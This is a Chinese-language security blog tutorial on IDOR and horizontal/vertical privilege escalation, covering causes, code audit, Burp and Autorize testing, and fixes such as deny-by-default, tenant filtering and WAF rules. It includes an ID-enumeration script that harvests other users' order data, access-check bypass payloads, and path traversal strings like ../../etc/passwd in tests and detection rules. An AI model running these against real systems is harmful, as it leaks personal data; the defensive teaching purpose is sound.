Skip to content

越权是怎么发生的:IDOR、水平越权与垂直越权

A01 在 2021 榜单里从第五直接跳到第一,不是因为它变强了,而是因为行业终于承认:大部分系统的权限校验其实是纸糊的。这一篇我们从"门禁"讲起,把越权的成因、挖掘、验证和加固一次说清楚。


一、越权到底是什么

门禁只验证了你「能进楼」,没验证你「能进哪间屋」

想象一栋写字楼:前台门禁卡刷的是「你是本公司员工」,但你进到 3 楼后,每一间办公室的门是不是该归你进,却没有第二道锁。保安只验证了你"能进楼",没验证你"能进这间屋"。

Web 系统里这个结构一模一样:

用户请求 → [认证:你是谁?] → [授权:你能干这个吗?] → 业务处理
                  ✅ 几乎所有系统都有        ❌ 经常缺失或写错

失效的访问控制(Broken Access Control) 就是第二道锁缺失、装反、或者锁芯被人换了的那一类问题。

四类成因:前端校验、漏写鉴权、信任客户端、可预测 ID

我复盘过不少 SRC 和内部系统的越权报告,成因基本逃不出这四类:

成因具体表现出现频率
只在前端做校验菜单按钮隐藏了、接口返回了,但服务端不管极高
逐接口手写鉴权,漏写几十个接口里漏了一两个,越权就来了极高
信任客户端传来的身份从请求参数里读 userId / role 直接当真
对象引用可预测自增 ID、可枚举的文件名、顺序订单号

第四个成因还有个专门的名字 —— IDOR(Insecure Direct Object Reference,不安全的直接对象引用)。它不是独立的漏洞类型,而是越权里最常见的一种表现形式

一个越权要成立,得同时满足三件事

一个越权要能被打出来,通常需要同时满足三个条件:

  1. 服务端未对"当前主体"与"目标资源"做归属校验 —— 最核心的一条。
  2. 资源标识符可被攻击者控制或预测 —— 自增 ID、/api/order/10086 这种。
  3. 接口对越权响应返回了有效数据 —— 至少返回了 200 和部分数据;哪怕只回"有/无"也能做枚举。

💡 踩坑提示:很多人以为"接口返回了 403 就安全了"。实际上返回码欺骗很常见 —— 有的系统越权时返回 {code: 403, msg: "无权限"},但响应体里 data 字段还带着目标用户的数据。判断依据永远看响应内容,不看状态码。

定级看可枚举性:从「单条泄露」到「批量拖库」

OWASP 给出的综合评分:CWE 集合共 34 个 CWE,平均加权利用率 5.82%,平均加权影响 6.08%,是实打实的高危。

典型场景按业务形态分:

  • 电商 / 订单系统:改订单 ID 看他人收货地址、手机号、购买记录 —— 直接触发个人信息泄露合规风险。
  • SaaS 多租户:改 tenantId 跨租户读数据,这是最致命的一类,一次越权就是跨客户数据泄露。
  • 后台管理系统:普通用户访问 /admin/* 路径,或直接调用管理员接口(垂直越权)。
  • 文件下载 / 导出?file=../../etc/passwd 路径遍历,或者改 reportId 导出别人的财务报表。
  • API 接口方法切换GET /api/user/1 被拦,但 PUT / DELETE 没拦;或者 POST /api/user/1/deleteDELETE 就通了。

举一个我见过的真实场景:某 OA 系统的附件下载接口是 /api/attachment/download?fileId=12345,只在页面按钮上判断了"当前用户是否为该附件的审批人"。攻击者用 Burp 抓到请求后直接改 fileId,把全公司的薪酬附件遍历了一遍。前端的按钮隐藏,在安全上等于没有。


二、怎么把越权点找出来

代码层:盯住「按主键查」的调用

审计的核心思路是污点追踪(Taint Analysis):找到所有"外部可控输入"(Source),追踪它流到了哪个"危险操作"(Sink),中间有没有经过"净化函数"(Sanitizer)。

对于越权,Sink 不是 eval 那种危险函数,而是所有对资源的查询/操作。所以思路要变:

危险特征一:查询条件里没有租户/归属字段

java
// ❌ 危险:只用了主键,没有任何归属校验
@GetMapping("/api/order/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    // orderId 完全来自客户端,任何登录用户都能传任意值
    return orderService.getById(orderId);
}

// ✅ 正确:把当前登录用户的身份带入查询条件
@GetMapping("/api/order/{orderId}")
public Order getOrder(@PathVariable Long orderId) {
    Long currentUserId = SecurityContext.getCurrentUserId(); // 从 session/token 取,不可被客户端伪造
    return orderService.getByIdAndUserId(orderId, currentUserId); // 查不到就是没权限
}

📌 审计要点:搜索所有 getById / findById / selectById 这类"按主键查"的调用,逐个确认查询条件里是否带了当前主体身份。这是命中率最高的一条 grep 规则。

危险特征二:从请求参数里取身份

java
// ❌ 极度危险:userId 从请求里来,改一下就是别人的身份
@PostMapping("/api/profile/update")
public Result update(@RequestBody UserDTO dto) {
    dto.getUserId(); // 客户端可控
    return userService.update(dto);
}

搜索关键词:request.getParameter("userId")@RequestParam(.*[Uu]ser)roletenantIdorgId。凡是身份类字段从请求体/参数取的,都是重点嫌疑。

危险特征三:框架鉴权注解漏用或误用

  • Java/Spring Security:@PreAuthorize 缺失、@Secured 写错、antMatchers("/api/**").permitAll() 范围过大。
  • Python/Flask:路由上漏了 @login_required 或自定义装饰器。
  • Node/Express:中间件挂载顺序错误,鉴权中间件在某个路由之后才 app.use()

危险特征四:路径遍历式文件操作

java
// ❌ 文件名直接拼接,未做规范化与白名单
@GetMapping("/download")
public void download(@RequestParam String filename) {
    File file = new File(UPLOAD_DIR + filename);
}

关键词:new File(FileOutputStreamopen(Paths.get,看参数是否可控且未做 getCanonicalPath() 前缀校验。

黑盒:两个账号是起步配置

黑盒找越权,方法论就八个字:换身份、换 ID、换方法

第一步:准备至少两个账号

  • 同权限账号 A / B(测水平越权
  • 低权限账号 C + 高权限账号 admin(测垂直越权

💡 踩坑提示:只用一个账号测越权是自欺欺人。很多 SRC 报告被拒就是因为"你怎么证明他看到了别人的数据?"——两个账号的数据对比截图是越权报告的必备证据。

第二步:抓全量接口,批量替换标识符

用 Burp 的 Site mapLogger++ 收集所有接口,重点关注这类参数:

userId / uid / user_id / account
orderId / orderNo / tradeId
fileId / docId / attachmentId
tenantId / orgId / companyId
id(裸 id 参数尤其可疑)

第三步:判断依据(这是核心)

观察点说明
响应内容是否为他人数据唯一黄金标准。返回码是烟雾弹
响应长度差异越权成功时响应通常明显变长(有数据)
是否具有可枚举性连续 ID 能遍历 = 从"单个越权"升级为"批量数据泄露"
HTTP 方法切换GET 被拦,试 POST / PUT / DELETE / PATCH
路径变体/api/v1/user/1/api/v2/user/1/api/user/1/(尾部斜杠)、/API/user/1(大小写)、加 .json 后缀

关键请求特征速查

http
# 原始请求(账号 A)
GET /api/order/detail?orderId=10001 HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...   ← 账号 A 的 token
Cookie: sessionid=aaa
改法 1:只改 orderId,token 不变        → 看是否返回他人订单(IDOR)
改法 2:token 换成账号 B 的,ID 不变      → 看跨账号是否能访问同一资源
改法 3:token 换成低权限账号 C 的         → 垂直越权
改法 4:删除 Authorization 头            → 未授权访问
改法 5:改 orderId 为不存在的,对比响应   → 区分"无数据"和"无权限"的返回差异

📌 真实场景技巧:改法 5 特别有用。如果访问不存在的资源返回 {"code":404,"msg":"订单不存在"},而访问他人的订单返回 {"code":403,"msg":"无权限"},说明服务端其实做了归属判断(安全);如果两者返回完全一样,或者他人订单返回了 200 数据,那就是实锤越权。


三、怎么验证,以及量化影响面

⚠️ 以下内容仅限授权渗透测试 / 自有系统 / 安全研究环境中使用。

Burp 三步法:抓包、改 ID、枚举

Step 1 — 抓包并存下两个账号的请求

用账号 A 访问自己的订单,请求发送到 Repeater(Ctrl+R)。

Step 2 — 替换标识符重放

GET /api/order/detail?orderId=10002 HTTP/1.1   ← 改成 B 的订单号
Authorization: Bearer <A 的 token 保持不变>

点 Send,对比响应。若返回了 B 的收货人姓名、手机号、地址 → 水平越权成立

Step 3 — 确认可枚举性

把请求发到 IntruderCtrl+I),把 orderId 设为 payload 位置,用 Payload type = Numbers 遍历 10000-10100

Payload type: Numbers
From: 10000  To: 10100  Step: 1

跑完按 Length 列排序,长度明显偏大的就是有数据的响应。这步决定了漏洞定级 —— 单条越权是"中危",能批量遍历就是"高危/严重"。

Autorize:让插件替你重放每一个请求

手工改 ID 太慢,装 Autorize 插件(BApp Store 免费)可以自动做这件事:

1. 用低权限账号 C 登录,把 Cookie/Token 贴到 Autorize 的 "Insert injected header" 框
2. 开启 Autorize is on
3. 用高权限 admin 账号正常浏览整个后台
4. Autorize 会自动用低权限身份重放每一个请求
5. 结果三色标记:
   🟢 Bypassed!  → 越权成功(红色,实际是高亮告警色)
   🔴 Enforced!  → 权限正常
   🟡 Is enforced?? → 需人工确认

💡 踩坑提示:Autorize 会发出海量请求,一定要先在 Burp 的 Scope 里限定目标域名,否则你会把无关站点也扫了。另外建议把 "Interception Filters" 里的静态资源(.js .css .png)过滤掉,否则结果列表会被刷爆。

写个脚本,量化影响面

当手工确认了越权存在,需要一个脚本来量化影响面(写报告时"可获取 N 条用户数据"比"存在越权"有说服力得多):

python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
IDOR 批量验证脚本 —— 仅用于授权测试
用法: python3 idor_check.py
"""
import requests
import sys

BASE   = "https://target.com/api/order/detail"
TOKEN  = "eyJhbGciOiJIUzI1NiIs..."   # 账号 A 的 token(低权限/其他用户)
HEADERS = {
    "Authorization": f"Bearer {TOKEN}",
    "User-Agent": "Mozilla/5.0 (Security-Test)"
}

START_ID = 10000      # 起始 ID
END_ID   = 10050      # 结束 ID(先小范围试探,别一上来就扫一万条)
OUT_FILE = "leaked.txt"

def probe(order_id: int):
    """探测单个 ID,返回 (是否越权, 摘要信息)"""
    try:
        # timeout 必须设!不然遇到慢接口会卡死整个脚本
        r = requests.get(BASE, params={"orderId": order_id},
                         headers=HEADERS, timeout=8)
    except requests.RequestException as e:
        return False, f"ERR {e}"

    # 判断依据:状态码 200 且响应体包含敏感字段
    if r.status_code == 200 and ("phone" in r.text or "address" in r.text):
        return True, r.text[:300]   # 只截取前 300 字符,避免泄露过多
    return False, f"{r.status_code} len={len(r.content)}"

def main():
    hits = 0
    with open(OUT_FILE, "w", encoding="utf-8") as f:
        for oid in range(START_ID, END_ID + 1):
            ok, info = probe(oid)
            if ok:
                hits += 1
                f.write(f"[+] orderId={oid}\n{info}\n{'-'*60}\n")
                print(f"[+] HIT  orderId={oid}")
            else:
                print(f"[-]      orderId={oid}  {info}")
    print(f"\n[*] 完成:{END_ID-START_ID+1} 个 ID,命中 {hits} 个越权")
    print(f"[*] 结果已写入 {OUT_FILE}")

if __name__ == "__main__":
    main()

关键参数说明

  • timeout=8 —— 不加超时的话,遇到一个无响应的 ID 就会挂起几分钟。
  • r.text[:300] —— 取证要克制。报告里附上能证明漏洞的最小片段就够,把几万条真实用户数据 dump 到本地,既是合规风险也是法律风险。
  • 小范围试探(END_ID - START_ID = 50)后再决定是否扩大 —— 一是控制影响,二是避免把对方打挂。

绕过:开发自己写的半吊子校验

越权类漏洞本身没有什么"绕过 WAF"的技巧,难的是绕过开发自己写的半吊子校验

绕过场景手法示例
路径黑名单URL 编码 / 双编码/admin/%61dmin/%2561dmin
路径规范化目录穿越回填/api/user/../../admin/list
大小写敏感判断变换大小写/API/Admin/List(Linux 下有效)
尾部特征加分号/斜杠/点/admin/list; /admin/list/ /admin/list.
方法限制换 HTTP 方法GETPOSTPUTPATCH,或加 X-HTTP-Method-Override: PUT
参数位置换传输渠道query → body → header → cookie → JSON 嵌套字段
内容类型改 Content-Typeapplication/jsonapplication/xml,有时走另一套解析器(不同解析器鉴权逻辑可能不一致)
ID 类型混淆换 ID 形态数字 ID → UUID;或反之;数组形式 id[]=1

💡 踩坑提示X-HTTP-Method-Override 这招在 Spring 的老版本上特别好使 —— 因为 Spring 早期默认开启 HiddenHttpMethodFilter,服务端"认为"的请求方法被头部覆盖后,可能绕过基于 URL + Method 配置的鉴权规则。


四、怎么根治,而不是打补丁

默认拒绝:让漏写在架构上不可能发生

原则一:Deny by Default(默认拒绝)

这是根治越权的唯一可靠思路。不要寄希望于"每个接口都记得加注解",而是让框架默认拦截一切,只对明确放行的接口开白名单。

java
// Spring Security 配置示例:默认全部需要认证,只放行白名单
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
      .authorizeHttpRequests(auth -> auth
        // 只放行这些静态/公开端点
        .requestMatchers("/api/public/**", "/login", "/health").permitAll()
        // 其余一切请求都必须经过认证 —— 这一行是整个配置的关键
        .anyRequest().authenticated()
      );
    return http.build();
}

原则二:数据层强制归属校验(防御越权的最后一道防线)

就算控制器层漏了,数据层还能兜住。推荐做法是在 SQL/ORM 层自动注入租户与归属条件

java
// MyBatis-Plus 多租户插件:自动在所有 SQL 上追加 tenant_id 条件
@Bean
public MybatisPlusInterceptor mybatisPlusInterceptor() {
    MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
    interceptor.addInnerInterceptor(new TenantLineInnerInterceptor(
        new TenantLineHandler() {
            @Override
            public String getTenantIdColumn() { return "tenant_id"; }
            @Override
            public Expression getTenantId() {
                // 从当前线程上下文取,永远不从请求参数取
                return new LongValue(TenantContext.get());
            }
            // 特定表跳过(如全局字典表)
            @Override
            public boolean ignoreTable(String tableName) {
                return "sys_dict".equals(tableName);
            }
        }
    ));
    return interceptor;
}

原则三:用间接引用替代直接对象引用

不要暴露数据库自增主键。给每个用户维护一张"资源 → 随机映射 ID"的表:

python
# 对外暴露的是不可预测的映射 ID,而非数据库主键
import secrets

def to_external_id(real_id: int, user_id: int) -> str:
    """
    生成对外 ID:先查缓存,没有则生成随机 token 并建立映射
    这样攻击者即便拿到别人的 external_id,也无法推算其他资源
    """
    key = f"ext:{user_id}:{real_id}"
    ext = redis.get(key)
    if not ext:
        ext = secrets.token_urlsafe(16)          # 密码学安全随机,别用 random
        redis.setex(key, 86400, ext)             # 设置过期时间
        redis.setex(f"rev:{ext}", 86400, f"{user_id}:{real_id}")
    return ext

📌 说明:间接引用不能替代鉴权,它只是把"可批量遍历"降级为"只能碰运气撞"。真正的修复还是归属校验 —— 两者要一起做。

原则四:文件下载的路径白名单

java
// 正确的文件下载:规范化后校验前缀,且二次确认归属
Path base = Paths.get(UPLOAD_DIR).toRealPath();          // 解析真实路径,消除 ../
Path target = base.resolve(filename).normalize().toRealPath();
if (!target.startsWith(base)) {                           // 前缀校验,杜绝穿越
    throw new AccessDeniedException("非法路径");
}
// 还要查数据库确认该文件的 owner == 当前用户
if (!fileService.isOwner(fileId, currentUserId)) {
    throw new AccessDeniedException("无权访问");
}

网关与 Nginx:应用层漏了这层还能兜住

Nginx 层保护管理后台(注意 nginx 的 location 匹配不受 URL 编码影响,比应用层可靠):

nginx
# 管理后台限制来源 IP,应用层漏了这一层还能兜住
location /admin/ {
    allow 10.0.0.0/8;        # 内网
    allow 203.0.113.50;      # 办公出口 IP
    deny all;                # 其余全部拒绝

    # 再叠一层 Basic Auth 做双因子
    auth_basic "Admin Area";
    auth_basic_user_file /etc/nginx/.htpasswd;

    proxy_pass http://backend;
}

# 禁止访问敏感文件与目录
location ~* /\.(git|svn|env|htaccess) {
    deny all;
    return 404;
}

API 网关统一鉴权:把鉴权逻辑收敛到网关(Kong / APISIX / Spring Cloud Gateway),业务服务不再自己判断。好处是"漏写"从概率问题变成不可能事件。

WAF 能做的有限,主要靠行为检测

越权类漏洞 WAF 能做的有限(因为请求本身是"合法"的),主要靠行为检测

yaml
# 伪规则:ID 遍历行为检测(在 SIEM / 自定义 WAF 中实现)
id: idor-enumeration-detect
detection:
  condition: same_user && many_distinct_ids && short_window
  threshold:
    distinct_resource_ids: 20     # 同一用户访问 20 个以上不同资源 ID
    window: 60s                   # 在 60 秒窗口内
    exclude_paths:                # 排除正常的列表页/批量查询
      - /api/order/list
      - /api/search
  action: alert_and_rate_limit
  severity: high

自定义 WAF 规则(ModSecurity 示例)

apache
# 检测路径遍历尝试(含编码变体)
SecRule REQUEST_URI|ARGS "@rx (?:\.\./|\.\.\\|%2e%2e%2f|%252e%252e%252f|\.\.%2f)" \
    "id:9001001,\
     phase:1,\
     deny,\
     status:403,\
     log,\
     msg:'Path Traversal Attempt',\
     tag:'OWASP-A01'"

# 检测 HTTP 方法覆盖头(防 Method Override 绕过)
SecRule REQUEST_HEADERS:X-HTTP-Method-Override "!@rx ^$" \
    "id:9001002,\
     phase:1,\
     deny,\
     status:403,\
     log,\
     msg:'HTTP Method Override Header Detected',\
     tag:'OWASP-A01'"

回归验证:别把正常功能也堵死

修完不能只看"这个 ID 打不通了",要做系统性回归

bash
#!/usr/bin/env bash
# 越权修复回归测试脚本 —— 验证修复的有效性与完整性
# 用法: bash verify_access_control.sh

TOKEN_A="eyJhbGciOiJIUzI1NiIs..."   # 普通用户 A
TOKEN_B="eyJhbGciOiJIUzI1NiIs..."   # 普通用户 B
BASE="https://target.com"
PASS=0; FAIL=0

check() {
  # check <描述> <期望码> <实际码>
  if [ "$2" = "$3" ]; then
    echo "[PASS] $1 (期望 $2, 实际 $3)"; PASS=$((PASS+1))
  else
    echo "[FAIL] $1 (期望 $2, 实际 $3)"; FAIL=$((FAIL+1))
  fi
}

# 用例 1:A 访问自己的资源,应正常 200(确认没有误伤正常功能)
code=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN_A" "$BASE/api/order/detail?orderId=10001")
check "A 访问自己的订单" 200 "$code"

# 用例 2:A 访问 B 的资源,应 403/404(核心用例)
code=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN_A" "$BASE/api/order/detail?orderId=10002")
check "A 越权访问 B 的订单" 403 "$code"

# 用例 3:不带 token 访问,应 401
code=$(curl -s -o /dev/null -w "%{http_code}" "$BASE/api/order/detail?orderId=10001")
check "无 token 访问" 401 "$code"

# 用例 4:低权限账号访问管理接口,应 403
code=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN_A" "$BASE/api/admin/users")
check "普通用户访问管理接口" 403 "$code"

# 用例 5:路径遍历,应 403/404
code=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer $TOKEN_A" "$BASE/download?file=../../../etc/passwd")
check "路径遍历下载" 403 "$code"

echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在失败用例,需复查"

💡 踩坑提示:回归用例里必须包含"正常功能没被误伤"的用例(上面的用例 1)。我见过太多次"为了修越权把鉴权收紧,结果正常用户也登不进去了"。修复后一定要跑一遍主流程冒烟。

把回归用例沉淀到 CI:上面这个脚本改造一下就能进 CI,每次发布前自动跑。鉴权这种东西靠人记,早晚出事;靠流水线,才是真的防住。


最后:逐接口手写鉴权,漏写是必然的

失效的访问控制之所以常年霸榜,根本原因是它不是一个技术实现问题,而是一个架构习惯问题。逐接口手写鉴权,漏写是必然的,不漏才是偶然。

真正的解法只有三条,按优先级排:

  1. 默认拒绝anyRequest().authenticated())—— 让漏写在架构上不可能发生。
  2. 数据层归属校验(多租户插件 / 统一查询拦截)—— 最后一道兜底防线。
  3. 自动化回归(CI 里跑越权用例)—— 防止修了又被改回去。

前端隐藏按钮、加个 if 判断、上个 WAF —— 这些都不是解法,只是自我安慰。


⚠️ 声明:本文所有示例、脚本与 Payload 仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动